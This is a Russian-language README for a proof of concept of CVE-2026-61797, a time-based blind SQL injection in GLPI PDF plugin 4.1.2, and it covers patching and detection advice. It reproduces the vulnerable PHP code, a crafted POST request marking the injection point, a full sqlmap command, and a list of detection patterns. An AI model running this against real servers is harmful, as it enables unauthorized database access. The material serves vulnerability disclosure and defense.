
Proof of Concept для CVE-2026-61797 — time-based blind SQL-инъекция в PDF-плагине GLPI с валидацией через sqlmap и рекомендациями по обнаружению.
Proof of Concept для CVE-2026-61797, уязвимости time-based blind SQL Injection, затрагивающей плагин GLPI PDF.
Уязвимость доступна через:
/marketplace/pdf/front/preference.form.php
В уязвимой реализации контролируемые пользователем значения из POST-массива item вставляются в SQL-запросы без должной параметризации.
Аутентифицированный пользователь GLPI с низкими привилегиями может использовать это поведение для внедрения SQL-выражений и получения информации о базе данных через временные задержки ответа.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-61797 |
| Продукт | GLPI PDF Plugin |
| Тестируемая версия | 4.1.2 |
| Исправленная версия | 4.1.3 |
| Уязвимость | Time-Based Blind SQL Injection |
| Аутентификация | Требуется в тестируемой ветке 4.1.2 |
| Вектор атаки | Сеть |
| Взаимодействие с пользователем | Отсутствует |
| База данных | MySQL |
| CVSS | 6.1 / 10 |
| Advisory | GHSA-wwr3-v347-c64m |
Уязвимый код в конечном итоге помещает контролируемый атакующим ключ item в поле tabref SQL-запроса INSERT.
Концептуально уязвимая операция выглядела так:
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
Поскольку $key становится частью SQL-запроса, специально сформированный ключ массива может изменить итоговый запрос.
Для PoC требуется:
sqlmap.PoC был проверен на PDF Plugin 4.1.2.
Перехватите легитимный запрос к:
POST /marketplace/pdf/front/preference.form.php
и сохраните его как:
glpi.sqli
Минимальное тело запроса, подходящее для отметки точки инъекции:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
Символ * указывает sqlmap, какая часть запроса должна быть протестирована.
Пример структуры запроса:
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
Запустите:
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
Уязвимая установка должна быть идентифицирована как принимающая time-based blind SQL injection в пользовательской точке инъекции POST.
Типичное обнаружение выглядит так:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Техника основана на условных задержках MySQL, таких как SLEEP(), для определения того, вычисляется ли внедрённое условие как истинное.
Данный репозиторий намеренно ограничивает документированный PoC проверкой уязвимости и не предоставляет команд для выгрузки базы данных или извлечения учётных данных.
Уязвимый запрос достигает:
plugins/pdf/front/preference.form.php
Приложение обрабатывает значения, подобные:
item[<USER_CONTROLLED_VALUE>]=1
PHP преобразует это в ассоциативный массив, где атакующий контролирует ключ массива.
Этот ключ позже используется плагином как $key и в уязвимой версии конкатенируется напрямую в SQL-запрос.
Итоговый поток данных фактически таков:
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
Таким образом, time-based полезная нагрузка может влиять на SQL-выражение и заставлять базу данных намеренно задерживать ответ, когда переданное условие истинно.
Поскольку приложение не возвращает результаты SQL-запроса напрямую, эксплуатация выполняется как blind SQL injection.
Проблема была исправлена в PDF Plugin 4.1.3.
Уязвимые операции с «сырым» SQL были заменены на более безопасные механизмы базы данных/ORM и дополнительную логику авторизации.
Пользователям следует обновиться до:
PDF Plugin >= 4.1.3
или более нового поддерживаемого релиза.
Защитникам может быть полезно проверять HTTP-запросы, направленные на:
/marketplace/pdf/front/preference.form.php
с необычными именами параметров item[...].
Особенно подозрительные шаблоны включают SQL-синтаксис или функции временных задержек внутри ключа массива, например ссылки на:
SLEEP(
SELECT
AND
OR
||
'
"
Повторяющиеся POST-запросы к этой конечной точке, за которыми следуют стабильные многсекундные задержки ответа, также могут указывать на попытки эксплуатации time-based blind SQL injection.
Данный Proof of Concept предоставляется исключительно для:
Не используйте его против систем, которыми вы не владеете и на тестирование которых у вас нет явного разрешения.
Авторы не несут ответственности за несанкционированное или противоправное использование данного материала.
Исследование уязвимости и оригинальный технический анализ:
ITRESIT Labs — Javier Medina
Оригинальное исследование:
CVE:
CVE-2026-61797
GitHub Security Advisory:
GHSA-wwr3-v347-c64m
Данный репозиторий предназначен исключительно для образовательных целей и авторизованного тестирования безопасности.
Всегда получайте явное разрешение перед тестированием систем, которыми вы не владеете.